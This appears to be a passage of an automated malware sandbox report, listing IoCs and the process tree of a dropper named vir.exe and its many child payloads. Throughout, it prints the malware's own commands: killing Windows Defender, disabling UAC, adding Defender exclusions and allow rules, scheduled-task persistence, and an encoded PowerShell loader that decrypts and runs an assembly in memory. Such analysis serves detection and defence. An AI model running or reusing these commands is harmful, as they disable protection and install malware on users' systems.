Token: SeDebugPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	5000	powershell.EXE
Token: SeDebugPrivilege	3480	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	348	WMIC.exe
Token: SeIncreaseQuotaPrivilege	348	WMIC.exe
Token: SeSecurityPrivilege	348	WMIC.exe
Token: SeTakeOwnershipPrivilege	348	WMIC.exe
Token: SeLoadDriverPrivilege	348	WMIC.exe
Token: SeSystemtimePrivilege	348	WMIC.exe
Token: SeBackupPrivilege	348	WMIC.exe
Token: SeRestorePrivilege	348	WMIC.exe
Token: SeShutdownPrivilege	348	WMIC.exe
Token: SeSystemEnvironmentPrivilege	348	WMIC.exe
Token: SeUndockPrivilege	348	WMIC.exe
Token: SeManageVolumePrivilege	348	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	348	WMIC.exe
Token: SeIncreaseQuotaPrivilege	348	WMIC.exe
Token: SeSecurityPrivilege	348	WMIC.exe
Token: SeTakeOwnershipPrivilege	348	WMIC.exe
Token: SeLoadDriverPrivilege	348	WMIC.exe
Token: SeSystemtimePrivilege	348	WMIC.exe
Token: SeBackupPrivilege	348	WMIC.exe
Token: SeRestorePrivilege	348	WMIC.exe
Token: SeShutdownPrivilege	348	WMIC.exe
Token: SeSystemEnvironmentPrivilege	348	WMIC.exe
Token: SeUndockPrivilege	348	WMIC.exe
Token: SeManageVolumePrivilege	348	WMIC.exe

Suspicious use of FindShellTrayWindow 45 IoCs

pid	Process
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
3020	xaiysollkkahusz.exe
3020	xaiysollkkahusz.exe
3020	xaiysollkkahusz.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
3984	zhwfpelw.exe
3984	zhwfpelw.exe
3984	zhwfpelw.exe
2104	zhwfpelw.exe
2104	zhwfpelw.exe
2104	zhwfpelw.exe
3560	Rover.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe
2072	msedge.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
4844	psiphon3.exe
4844	psiphon3.exe
1896	WINWORD.EXE
1896	WINWORD.EXE
1896	WINWORD.EXE
1896	WINWORD.EXE
1896	WINWORD.EXE
1896	WINWORD.EXE
1896	WINWORD.EXE
1896	WINWORD.EXE
1896	WINWORD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 3380	4084	vir.exe	80
PID 4084 wrote to memory of 3380	4084	vir.exe	80
PID 3380 wrote to memory of 1060	3380	loader.exe	82
PID 3380 wrote to memory of 1060	3380	loader.exe	82
PID 1060 wrote to memory of 1548	1060	cmd.exe	84
PID 1060 wrote to memory of 1548	1060	cmd.exe	84
PID 1548 wrote to memory of 3732	1548	cmd.exe	87
PID 1548 wrote to memory of 3732	1548	cmd.exe	87
PID 1548 wrote to memory of 3560	1548	cmd.exe	89
PID 1548 wrote to memory of 3560	1548	cmd.exe	89
PID 1548 wrote to memory of 3560	1548	cmd.exe	89
PID 1548 wrote to memory of 2072	1548	cmd.exe	90
PID 1548 wrote to memory of 2072	1548	cmd.exe	90
PID 2072 wrote to memory of 3220	2072	msedge.exe	93
PID 2072 wrote to memory of 3220	2072	msedge.exe	93
PID 1548 wrote to memory of 4952	1548	cmd.exe	94
PID 1548 wrote to memory of 4952	1548	cmd.exe	94
PID 1548 wrote to memory of 2832	1548	cmd.exe	95
PID 1548 wrote to memory of 2832	1548	cmd.exe	95
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3924	2072	msedge.exe	96
PID 2072 wrote to memory of 3020	2072	msedge.exe	97
PID 2072 wrote to memory of 3020	2072	msedge.exe	97
PID 2072 wrote to memory of 1860	2072	msedge.exe	98
PID 2072 wrote to memory of 1860	2072	msedge.exe	98
PID 2072 wrote to memory of 1860	2072	msedge.exe	98

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "1"	Rover.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Rover.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	n9d9AQtLIi9MHW0KzijcJ4wf.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	n9d9AQtLIi9MHW0KzijcJ4wf.exe

C:\Users\Admin\AppData\Local\Temp\vir.exe
"C:\Users\Admin\AppData\Local\Temp\vir.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\loader.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K main.cmd
      4⤵
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1548
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im WindowsDefender.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3732
    - - C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\Rover.exe
        
        Rover.exe
        5⤵
        Modifies WinLogon for persistence
        UAC bypass
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        System policy modification
        
        PID:3560
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\web.htm
        5⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:2072
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb50f53cb8,0x7ffb50f53cc8,0x7ffb50f53cd8
        6⤵
        
        PID:3220
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,7246253820127620729,9729896794588957260,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1900 /prefetch:2
        6⤵
        
        PID:3924
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1888,7246253820127620729,9729896794588957260,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 /prefetch:3
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3020
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1888,7246253820127620729,9729896794588957260,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2668 /prefetch:8
        6⤵
        
        PID:1860
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,7246253820127620729,9729896794588957260,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3116 /prefetch:1
        6⤵
        
        PID:4324
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,7246253820127620729,9729896794588957260,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3124 /prefetch:1
        6⤵
        
        PID:4128
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\helper.vbs"
        5⤵
        
        PID:4952
    - - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\spinner.gif
        5⤵
        Modifies Internet Explorer settings
        
        PID:2832
    - - C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\psiphon3.exe
        
        psiphon3.exe
        5⤵
        Executes dropped EXE
        Modifies registry class
        Suspicious use of SetWindowsHookEx
        
        PID:4844
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 1896
        6⤵
        Program crash
        
        PID:2988
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 10
        5⤵
        Delays execution with timeout.exe
        
        PID:1948
    - - C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\scary.exe
        
        scary.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2888
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        6⤵
        Creates scheduled task(s)
        
        PID:3284
    - - C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\the.exe
        
        the.exe
        5⤵
        Executes dropped EXE
        
        PID:5000
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB4AEMAQgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEMALAAgADAAeABBADMALAAgADAAeAAzADQALAAgADAAeABBADYALAAgADAAeAA4ADQALAAgADAAeABDAEMALAAgADAAeABBAEEALAAgADAAeABEADIALAAgADAAeABCADAALAAgADAAeABFAEUALAAgADAAeABBAEMALAAgADAAeABEADcALAAgADAAeABFAEIALAAgADAAeABGAEUALAAgADAAeAA4AEYALAAgADAAeAA5ADkAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
        6⤵
        UAC bypass
        Windows security bypass
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\the.exe" -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4484
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        7⤵
        Drops startup file
        Suspicious use of AdjustPrivilegeToken
        
        PID:2044
        
        C:\Users\Admin\Pictures\vXjkY8Z3Kz4Rvcef1hZ8syyc.exe
        
        "C:\Users\Admin\Pictures\vXjkY8Z3Kz4Rvcef1hZ8syyc.exe" /s
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Writes to the Master Boot Record (MBR)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2708
        
        C:\Users\Admin\Pictures\JHA77TwCrWblNJp2Ict3W8t5.exe
        
        "C:\Users\Admin\Pictures\JHA77TwCrWblNJp2Ict3W8t5.exe"
        8⤵
        Modifies firewall policy service
        Windows security bypass
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Windows security modification
        Checks whether UAC is enabled
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2208
        
        C:\Users\Admin\Documents\SimpleAdobe\n9d9AQtLIi9MHW0KzijcJ4wf.exe
        
        C:\Users\Admin\Documents\SimpleAdobe\n9d9AQtLIi9MHW0KzijcJ4wf.exe
        9⤵
        Executes dropped EXE
        Accesses Microsoft Outlook profiles
        Adds Run key to start application
        Checks processor information in registry
        outlook_office_path
        outlook_win_path
        
        PID:3492
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 HR" /sc HOURLY /rl HIGHEST
        10⤵
        Creates scheduled task(s)
        
        PID:4720
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 LG" /sc ONLOGON /rl HIGHEST
        10⤵
        Creates scheduled task(s)
        
        PID:2936
        
        C:\Users\Admin\AppData\Local\Temp\spanReZV_qXnFs9e\7pVssoRR_gaioDJx0EHG.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spanReZV_qXnFs9e\7pVssoRR_gaioDJx0EHG.exe"
        10⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3960
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        11⤵
        
        PID:1116
        
        C:\Users\Admin\Pictures\cfhBRiUbd5AirZOrt8DCJlCj.exe
        
        "C:\Users\Admin\Pictures\cfhBRiUbd5AirZOrt8DCJlCj.exe"
        8⤵
        Executes dropped EXE
        
        PID:3876
        
        C:\Users\Admin\AppData\Local\Temp\7zS2045.tmp\Install.exe
        
        .\Install.exe /odidum "385118" /S
        9⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:4776
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        10⤵
        
        PID:1388
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        11⤵
        
        PID:3392
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        12⤵
        
        PID:2572
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        13⤵
        
        PID:3772
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        11⤵
        
        PID:4396
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        12⤵
        
        PID:4760
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        13⤵
        
        PID:4128
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        11⤵
        
        PID:1428
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        12⤵
        
        PID:3252
        
